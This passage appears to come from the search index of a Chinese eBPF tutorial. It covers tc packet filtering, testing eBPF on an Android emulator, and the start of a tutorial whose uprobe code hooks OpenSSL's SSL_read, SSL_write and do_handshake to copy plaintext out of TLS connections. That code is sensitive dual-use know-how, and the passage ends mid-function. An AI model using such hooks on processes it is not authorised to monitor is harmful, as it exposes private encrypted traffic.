TC（Transmission Control）来捕获数据包并进行处理。在这个程序中，我们限定了只捕获 IPv4 协议的数据包，然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live（TTL）字段的值。 需要注意的是，我们在代码中使用了一些 BPF 库函数，例如 bpf_htons 和 bpf_ntohs 函数，它们用于进行网络字节序和主机字节序之间的转换。此外，我们还使用了一些注释来为 TC 提供附加点和选项信息。例如，在这段代码的开头，我们使用了以下注释： /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1} 这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点，并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 patchwork 中的介绍。 总之，这段代码实现了一个简单的 eBPF 程序，用于捕获数据包并打印出它们的信息。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编写 eBPF 程序","id":"129","title":"编写 eBPF 程序"},"13":{"body":"在本篇博客中，我们将深入探讨eBPF（Extended Berkeley Packet Filter）的基本框架和开发流程。eBPF是一种在Linux内核上运行的强大网络和性能分析工具，它为开发者提供了在内核运行时动态加载、更新和运行用户定义代码的能力。这使得开发者可以实现高效、安全的内核级别的网络监控、性能分析和故障排查等功能。 本文是eBPF入门开发实践教程的第二篇，我们将重点关注如何编写一个简单的eBPF程序，并通过实际例子演示整个开发流程。在阅读本教程之前，建议您先学习第一篇教程，以便对eBPF的基本概念有个大致的了解。 在开发eBPF程序时，有多种开发框架可供选择，如 BCC（BPF Compiler Collection）libbpf、cilium/ebpf、eunomia-bpf 等。虽然不同工具的特点各异，但它们的基本开发流程大致相同。在接下来的内容中，我们将深入了解这些流程，并以 Hello World 程序为例，带领读者逐步掌握eBPF开发的基本技巧。 本教程将帮助您了解eBPF程序的基本结构、编译和加载过程、用户空间与内核空间的交互方式以及调试与优化技巧。通过学习本教程，您将掌握eBPF开发的基本知识，并为后续进一步学习和实践奠定坚实的基础。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 入门开发实践教程一：Hello World，基本框架和开发流程","id":"13","title":"eBPF 入门开发实践教程一：Hello World，基本框架和开发流程"},"130":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc tc.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run ./package.json 可以通过如下方式查看程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64 node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编译运行","id":"130","title":"编译运行"},"131":{"body":"本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案，我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备，并借助内核的 sk_buff 结构对数据包进行过滤处理。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 总结","id":"131","title":"总结"},"132":{"body":"http://just4coding.com/2022/08/05/tc/ https://arthurchiao.art/blog/understanding-tc-da-mode-zh/","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 参考","id":"132","title":"参考"},"133":{"body":"本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 测试采用的方式是在 Android Shell 环境下构建 Debian 环境，并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 在 Andorid 上使用 eBPF 程序","id":"133","title":"在 Andorid 上使用 eBPF 程序"},"134":{"body":"截至目前（2023-04），Android 还未对 eBPF 程序的动态加载做出较好的支持，无论是以 bcc 为代表的带编译器分发方案，还是基于 btf 和 libbpf 的 CO-RE 方案，都在较大程度上离不开 Linux 环境的支持，无法在 Android 系统上很好地运行 [1] 。 虽然如此，在 Android 平台上尝试 eBPF 也已经有了一些成功案例，除谷歌官方提供的修改 Android.bp 以将 eBPF 程序随整个系统一同构建并挂载的方案 [2] ，也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路，并开发了相关工具。 目前已有的资料，大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱，并对 bcc 和 bpftrace 相关工具链进行测试，而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料，如： SeeFlowerX： https://blog.seeflower.dev/category/eBPF/ evilpan： https://bbs.kanxue.com/thread-271043.htm 其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像，并在其中构建整个 bcc 工具链，从而使用 eBPF 工具。如果想要使用 bpftrace，原理也是类似的。 事实上，高版本的 Android 内核已支持 btf 选项，这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。 eunomia-bpf 是一个结合了 libbpf 和 WebAssembly 技术的开源项目，旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式，其核心依赖是 libbpf，相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 背景","id":"134","title":"背景"},"135":{"body":"Android Emulator（Android Studio Flamingo | 2022.2.1） AVD: Pixel 6 Android Image: Tiramisu Android 13.0 x86_64（5.15.41-android13-8-00055-g4f5025129fe8-ab8949913）","breadcrumbs":"在 Android 上使用 eBPF 程序 » 测试环境","id":"135","title":"测试环境"},"136":{"body":"[3] 从 eadb 仓库 的 releases 页面获取 debianfs-amd64-full.tar.gz 作为 Linux 环境的 rootfs，同时还需要获取该项目的 assets 目录来构建环境； 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device； 通过 Android Studio SDK 的 adb 工具将 debianfs-amd64-full.tar.gz 和 assets 目录推送到 AVD 中： ./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz ./adb push assets /data/local/tmp/assets 通过 adb 进入 Android shell 环境并获取 root 权限： ./adb shell su 在 Android shell 中构建并进入 debian 环境： mkdir -p /data/eadb mv /data/local/tmp/assets/* /data/eadb mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz rm -r /data/local/tmp/assets chmod +x /data/eadb/device-* /data/eadb/device-unpack /data/eadb/run /data/eadb/debian 至此，测试 eBPF 所需的 Linux 环境已经构建完毕。此外，在 Android shell 中（未进入 debian 时）可以通过 zcat /proc/config.gz 并配合 grep 查看内核编译选项。 目前，eadb 打包的 debian 环境存在 libc 版本低，缺少的工具依赖较多等情况；并且由于内核编译选项不同，一些 eBPF 功能可能也无法使用。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 环境搭建","id":"136","title":"环境搭建"},"137":{"body":"在 debian 环境中将 eunomia-bpf 仓库 clone 到本地，具体的构建过程，可以参考仓库的 build.md 。在本次测试中，笔者选用了 ecc 编译生成 package.json 的方式，该工具的构建和使用方式请参考 仓库页面 。 在构建过程中，可能需要自行安装包括但不限于 curl，pkg-config，libssl-dev 等工具。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 工具构建","id":"137","title":"工具构建"},"138":{"body":"有部分 eBPF 程序可以成功在 Android 上运行，但也会有部分应用因为种种原因无法成功被执行。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 结果","id":"138","title":"结果"},"139":{"body":"bootstrap 运行输出如下： TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT\n09:09:19 10217 479 0 0 sh /system/bin/sh 0\n09:09:19 10217 479 0 0 ps /system/bin/ps 0\n09:09:19 10217 479 0 54352100 ps 1\n09:09:21 10219 479 0 0 sh /system/bin/sh 0\n09:09:21 10219 479 0 0 ps /system/bin/ps 0\n09:09:21 10219 479 0 44260900 ps 1 tcpstates 开始监测后在 Linux 环境中通过 wget 下载 Web 页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget\n09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0\n09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget\n09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0\n09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0\n09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet\n09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet 开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService\n07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService\n07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService\n07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService\n07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg\n07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService\n07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService\n07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService\n07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11\n07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService\n07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService\n07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService\n07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet","breadcrumbs":"在 Android 上使用 eBPF 程序 » 成功案例","id":"139","title":"成功案例"},"14":{"body":"在开始编写eBPF程序之前，我们需要准备一个合适的开发环境，并了解eBPF程序的基本开发流程。本部分将详细介绍这些内容。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF开发环境准备与基本开发流程","id":"14","title":"eBPF开发环境准备与基本开发流程"},"140":{"body":"opensnoop 例如 opensnoop 工具，可以在 Android 上成功构建，但运行报错： libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2\nfailed to attach skeleton\nError: BpfError(\"load and attach ebpf program failed\") 后经查看发现内核未开启 CONFIG_FTRACE_SYSCALLS 选项，导致无法使用 syscalls 的 tracepoint。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 一些可能的报错原因","id":"140","title":"一些可能的报错原因"},"141":{"body":"在 Android shell 中查看内核编译选项可以发现 CONFIG_DEBUG_INFO_BTF 默认是打开的，在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例，例如可以监测 exec 族函数的执行和 tcp 连接的状态。 对于无法运行的一些，原因主要是以下两个方面： 内核编译选项未支持相关 eBPF 功能； eadb 打包的 Linux 环境较弱，缺乏必须依赖； 目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境，但 Android 内核本身对 eBPF 的支持已较为全面，本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。 Android 系统 eBPF 工具的发展需要官方新特性的加入，目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大，同时由于 eBPF 工具需要 root 权限，普通 Android 用户的使用会面临较多困难。 如果希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 总结","id":"141","title":"总结"},"142":{"body":"https://source.android.google.cn/docs/core/architecture/kernel/bpf [1] : https://mp.weixin.qq.com/s/mul4n5D3nXThjxuHV7GpMA [3] : https://blog.seeflower.dev/archives/138/","breadcrumbs":"在 Android 上使用 eBPF 程序 » 参考","id":"142","title":"参考"},"143":{"body":"TODO","breadcrumbs":"使用 eBPF 追踪 HTTP 请求或其他七层协议 » http","id":"143","title":"http"},"144":{"body":"随着TLS在现代网络环境中的广泛应用，跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据，导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 但现在，我们有了新的解决方案。使用 eBPF 技术，通过其能力在用户空间进行探测，提供了一种方法重新获得明文数据，使得我们可以直观地查看加密前的通信内容。然而，每个应用可能使用不同的库，每个库都有多个版本，这种多样性给跟踪带来了复杂性。 在本教程中，我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术，它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库，而且相比以往，大大降低了对新版本库的维护工作。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据","id":"144","title":"eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据"},"145":{"body":"在深入本教程的主题之前，我们需要理解一些核心概念，这些概念将为我们后面的讨论提供基础。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 背景知识","id":"145","title":"背景知识"},"146":{"body":"SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发，为网络上的两台机器之间提供数据加密传输。然而，由于某些已知的安全问题，SSL的使用已被其后继者TLS所替代。 TLS (Transport Layer Security): 是 SSL 的继任者，旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程，在这个过程中，客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成，数据传输开始，所有数据都使用选择的算法和密钥加密。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » SSL 和 TLS","id":"146","title":"SSL 和 TLS"},"147":{"body":"Transport Layer Security (TLS) 是一个密码学协议，旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学，例如证书的使用，为两个或更多通信的计算机应用程序提供安全性，包括隐私（机密性）、完整性和真实性。TLS 由两个子层组成：TLS 记录协议和TLS 握手协议。 握手过程 当客户端与启用了TLS的服务器连接并请求建立安全连接时，握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数，完整流程如下： 初始握手 ：客户端连接到启用了TLS的服务器，请求安全连接，并提供它支持的密码套件列表（加密算法和哈希函数）。 选择密码套件 ：从提供的列表中，服务器选择它也支持的密码套件和哈希函数，并通知客户端已做出的决定。 提供数字证书 ：通常，服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构（为证书的真实性提供担保）以及服务器的公共加密密钥。 验证证书 ：客户端在继续之前确认证书的有效性。 生成会话密钥 ：为了生成用于安全连接的会话密钥，客户端有以下两种方法： 使用服务器的公钥加密一个随机数（PreMasterSecret）并将结果发送到服务器（只有服务器才能使用其私钥解密）；双方然后使用该随机数生成一个独特的会话密钥，用于会话期间的数据加密和解密。 使用 Diffie-Hellman 密钥交换（或其变体椭圆曲线DH）来安全地生成一个随机且独特的会话密钥，用于加密和解密，该密钥具有前向保密的额外属性：即使在未来公开了服务器的私钥，也不能用它来解密当前的会话，即使第三方拦截并记录了会话。 一旦上述步骤成功完成，握手过程便结束，加密的连接开始。此连接使用会话密钥进行加密和解密，直到连接关闭。如果上述任何步骤失败，则TLS握手失败，连接将不会建立。 OSI模型中的TLS TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议（例如，TCP）之上运行”，这意味着它位于传输层之上。它为更高的层提供加密，这通常是表示层的功能。但是，使用TLS 的应用程序通常视其为传输层，即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » TLS 的工作原理","id":"147","title":"TLS 的工作原理"},"148":{"body":"eBPF (Extended Berkeley Packet Filter): 是一种内核技术，允许用户在内核空间中运行预定义的程序，不需要修改内核源代码或重新加载模块。它创建了一个桥梁，使得用户空间和内核空间可以交互，从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 uprobes 是eBPF的一个重要特性，允许我们在用户空间应用程序中动态地插入探测点，特别适用于跟踪SSL/TLS库中的函数调用。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » eBPF 和 uprobe","id":"148","title":"eBPF 和 uprobe"},"149":{"body":"SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库： OpenSSL: 一个开源的、功能齐全的加密库，广泛应用于许多开源和商业项目中。 BoringSSL: 是Google维护的OpenSSL的一个分支，重点是简化和优化，适用于Google的需求。 GnuTLS: 是GNU项目的一部分，提供了SSL，TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比，GnuTLS在API设计、模块结构和许可证上有所不同。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 用户态库","id":"149","title":"用户态库"},"15":{"body":"要开发eBPF程序，您需要安装以下软件和工具： Linux 内核：由于eBPF是内核技术，因此您需要具备较新版本的Linux内核（推荐4.8及以上版本），以支持eBPF功能。 LLVM 和 Clang：这些工具用于编译eBPF程序。安装最新版本的LLVM和Clang可以确保您获得最佳的eBPF支持。 eBPF 程序主要由两部分构成：内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑，用户态部分负责加载、运行和监控内核态程序。 当您选择了合适的开发框架后，如BCC（BPF Compiler Collection）、libbpf、cilium/ebpf或eunomia-bpf等，您可以开始进行用户态和内核态程序的开发。以BCC工具为例，我们将介绍eBPF程序的基本开发流程： 安装BCC工具：根据您的Linux发行版，按照BCC官方文档的指南安装BCC工具和相关依赖。 编写eBPF程序（C语言）：使用C语言编写一个简单的eBPF程序，例如Hello World程序。该程序可以在内核空间执行并完成特定任务，如统计网络数据包数量。 编写用户态程序（Python或C等）：使用Python、C等语言编写用户态程序，用于加载、运行eBPF程序以及与之交互。在这个程序中，您需要使用BCC提供的API来加载和操作内核态的eBPF程序。 编译eBPF程序：使用BCC工具，将C语言编写的eBPF程序编译成内核可以执行的字节码。BCC会在运行时动态从源码编译eBPF程序。 加载并运行eBPF程序：在用户态程序中，使用BCC提供的API加载编译好的eBPF程序到内核空间，然后运行该程序。 与eBPF程序交互：用户态程序通过BCC提供的API与eBPF程序交互，实现数据收集、分析和展示等功能。例如，您可以使用BCC API读取eBPF程序中的map数据，以获取网络数据包统计信息。 卸载eBPF程序：当不再需要eBPF程序时，用户态程序应使用BCC API将其从内核空间卸载。 调试与优化：使用 bpftool 等工具进行eBPF程序的调试和优化，提高程序性能和稳定性。 通过以上流程，您可以使用BCC工具开发、编译、运行和调试eBPF程序。请注意，其他框架（如libbpf、cilium/ebpf和eunomia-bpf）的开发流程大致相似但略有不同，因此在选择框架时，请参考相应的官方文档和示例。 通过这个过程，你可以开发出一个能够在内核中运行的 eBPF 程序。eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。它基于 libbpf 的 CO-RE 轻量级开发框架，支持通过用户态 WASM 虚拟机控制 eBPF 程序的加载和执行，并将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块进行分发。我们会使用 eunomia-bpf 进行演示。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 安装必要的软件和工具","id":"15","title":"安装必要的软件和工具"},"150":{"body":"OpenSSL 是一个广泛应用的开源库，提供了 SSL 和 TLS 协议的完整实现，并广泛用于各种应用程序中以确保数据传输的安全性。其中，SSL_read() 和 SSL_write() 是两个核心的 API 函数，用于从 TLS/SSL 连接中读取和写入数据。本章节，我们将深入这两个函数，帮助你理解其工作机制。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » OpenSSL API 分析","id":"150","title":"OpenSSL API 分析"},"151":{"body":"当我们想从一个已建立的 SSL 连接中读取数据时，可以使用 SSL_read 或 SSL_read_ex 函数。函数原型如下： int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes);\nint SSL_read(SSL *ssl, void *buf, int num); SSL_read 和 SSL_read_ex 试图从指定的 ssl 中读取最多 num 字节的数据到缓冲区 buf 中。成功时，SSL_read_ex 会在 *readbytes 中存储实际读取到的字节数。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 1. SSL_read 函数","id":"151","title":"1. SSL_read 函数"},"152":{"body":"当我们想往一个已建立的 SSL 连接中写入数据时，可以使用 SSL_write 或 SSL_write_ex 函数。 函数原型： int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written);\nint SSL_write(SSL *ssl, const void *buf, int num); SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时，SSL_write_ex 会在 *written 中存储实际写入的字节数。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 2. SSL_write 函数","id":"152","title":"2. SSL_write 函数"},"153":{"body":"在我们的例子中，我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数，从而在数据读取或写入 SSL 连接时执行自定义操作。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » eBPF 内核态代码编写","id":"153","title":"eBPF 内核态代码编写"},"154":{"body":"首先，我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据： #define MAX_BUF_SIZE 8192\n#define TASK_COMM_LEN 16 struct probe_SSL_data_t { __u64 timestamp_ns; // 时间戳（纳秒） __u64 delta_ns; // 函数执行时间 __u32 pid; // 进程 ID __u32 tid; // 线程 ID __u32 uid; // 用户 ID __u32 len; // 读/写数据的长度 int buf_filled; // 缓冲区是否填充完整 int rw; // 读或写（0为读，1为写） char comm[TASK_COMM_LEN]; // 进程名 __u8 buf[MAX_BUF_SIZE]; // 数据缓冲区 int is_handshake; // 是否是握手数据\n};","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 数据结构","id":"154","title":"数据结构"},"155":{"body":"我们的目标是 hook 到 SSL_read 和 SSL_write 函数。我们定义了一个函数 SSL_exit 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID，确定是否需要追踪并收集数据。 static int SSL_exit(struct pt_regs *ctx, int rw) { int ret = 0; u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); if (bufp == 0) return 0; u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (!tsp) return 0; u64 delta_ns = ts - *tsp; int len = PT_REGS_RC(ctx); if (len <= 0) // no data return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = delta_ns; data->pid = pid; data->tid = tid; data->uid = uid; data->len = (u32)len; data->buf_filled = 0; data->rw = rw; data->is_handshake = false; u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); bpf_get_current_comm(&data->comm, sizeof(data->comm)); if (bufp != 0) ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); bpf_map_delete_elem(&bufs, &tid); bpf_map_delete_elem(&start_ns, &tid); if (!ret) data->buf_filled = 1; else buf_copy_size = 0; bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(buf_copy_size)); return 0;\n} 这里的 rw 参数标识是读还是写。0 代表读，1 代表写。 数据收集流程 获取当前进程和线程的 ID，以及当前用户的 ID。 通过 trace_allowed 判断是否允许追踪该进程。 获取起始时间，以计算函数的执行时间。 尝试从 bufs 和 start_ns maps 中查找相关的数据。 如果成功读取了数据，则创建或查找 probe_SSL_data_t 结构来填充数据。 将数据从用户空间复制到缓冲区，并确保不超过预定的大小。 最后，将数据发送到用户空间。 注意：我们使用了两个用户返回探针 uretprobe 来分别 hook SSL_read 和 SSL_write 的返回： SEC(\"uretprobe/SSL_read\")\nint BPF_URETPROBE(probe_SSL_read_exit) { return (SSL_exit(ctx, 0)); // 0 表示读操作\n} SEC(\"uretprobe/SSL_write\")\nint BPF_URETPROBE(probe_SSL_write_exit) { return (SSL_exit(ctx, 1)); // 1 表示写操作\n}","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » Hook 函数","id":"155","title":"Hook 函数"},"156":{"body":"在 SSL/TLS 中，握手（handshake）是一个特殊的过程，用于在客户端和服务器之间建立安全的连接。为了分析此过程，我们 hook 到了 do_handshake 函数，以跟踪握手的开始和结束。 进入握手 我们使用 uprobe 为 do_handshake 设置一个 probe： SEC(\"uprobe/do_handshake\")\nint BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u64 ts = bpf_ktime_get_ns(); u32 uid = bpf_get_current_uid_gid(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); return 0;\n} 这段代码的主要功能如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 检查进程是否被允许追踪。 将当前时间戳存储在 start_ns 映射中，用于稍后计算握手过程的持续时间。 退出握手 同样，我们为 do_handshake 的返回设置了一个 uretprobe： SEC(\"uretprobe/do_handshake\")\nint BPF_URETPROBE(probe_SSL_do_handshake_exit) { u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); int ret = 0; /* use kernel terminology here for tgid/pid: */ u32 tgid = pid_tgid >> 32; /* store arg 